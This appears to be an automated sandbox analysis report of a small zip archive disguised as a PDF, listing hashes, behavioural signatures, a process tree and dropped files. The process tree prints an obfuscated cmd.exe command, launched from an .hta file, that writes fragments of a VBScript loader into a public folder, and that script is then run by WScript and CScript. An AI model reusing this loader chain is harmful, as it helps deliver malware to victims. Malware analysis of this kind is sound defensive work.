Overview

overview

7

Static

static

1

PDF_1⃣20...��.zip

windows10-2004-x64

7

Resubmissions

11-06-2024 12:00

240611-n6e3aswgmj 7

11-06-2024 11:37

240611-nreg8awcnr 7

11-06-2024 05:59

240611-gpwkdsxemj 1

Analysis

  • max time kernel
    475s
  • max time network
    451s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-06-2024 12:00

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General

  • Target

    PDF_1⃣200403⑦⑤⑧⑦⑦④①①.zip

  • Size

    3KB

  • MD5

    c705f62f144aed9946c7f0d999aaf457

  • SHA1

    c234050a1f02ea0cd5ed19ebcd44e1cf83dc0236

  • SHA256

    5c9e7354d0a17c0c436e17e44485c57978e2701ebfd45e7efd0902d2713f2b13

  • SHA512

    bd9bd0625f1bb1efa09594ecdfc49c7e7327e411633afa8cbf7fd6b3517d032c6bc637577f052e167c761b6a1a9297a48ed17e556ba422063561f43dbeab2596

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 32 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\PDF_1⃣200403⑦⑤⑧⑦⑦④①①.zip
    1⤵
      PID:3040
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:3492
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\PDF_1⃣200403⑦⑤⑧⑦⑦④①①\PDF_1⃣200403⑧③⑧⑥⑤③⑨.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4848
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /V/D/c "echo cUvNngb81="ri">C:\Users\Public\UB05gCm9.vbs&&echo sd1eS24="tp">>C:\Users\Public\UB05gCm9.vbs&&echo jmWg919=".":XhAj27="sC" ^& cUvNngb81 ^& "pt:ht" ^& sd1eS24 ^& "s://">>C:\Users\Public\UB05gCm9.vbs"
          2⤵
            PID:3648
        • C:\Windows\system32\OpenWith.exe
          C:\Windows\system32\OpenWith.exe -Embedding
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:64
          • C:\Windows\system32\NOTEPAD.EXE
            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\UB05gCm9.vbs
            2⤵
            • Opens file in notepad (likely ransom note)
            PID:4476
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Public\UB05gCm9.vbs"
          1⤵
            PID:3436
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\UB05gCm9.vbs"
            1⤵
              PID:4124
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Public\UB05gCm9.vbs"
              1⤵
                PID:4368
              • C:\Windows\System32\Notepad.exe
                "C:\Windows\System32\Notepad.exe" /p C:\Users\Public\UB05gCm9.vbs
                1⤵
                • Modifies registry class
                • Opens file in notepad (likely ransom note)
                • Suspicious use of SetWindowsHookEx
                PID:1576
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
                1⤵
                  PID:5036
                • C:\Windows\System32\CScript.exe
                  "C:\Windows\System32\CScript.exe" "C:\Users\Public\UB05gCm9.vbs"
                  1⤵
                    PID:2864
                  • C:\Windows\System32\CScript.exe
                    "C:\Windows\System32\CScript.exe" "C:\Users\Public\UB05gCm9.vbs"
                    1⤵
                      PID:1636

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    • C:\Users\Public\UB05gCm9.vbs
                      Filesize

                      96B

                      MD5

                      bc8b1aa54dfc9b52a1bc8b1f1db60fab

                      SHA1

                      2b7ade2e56a9ee12324bf277110d6c0eaa9cc9b3

                      SHA256

                      a9bc5c5476127f55ff697732388d42658c7e09e1495ce48b21c5a12f4d5f3186

                      SHA512

                      d9fa5b94ba5de54f043e368a906b6ddf3a2e0ffdffb298889901a178f89a712a19546582654fd6430530cdbf1187a50da2c258a34d63fbd0fe2a4dc6d68007f1

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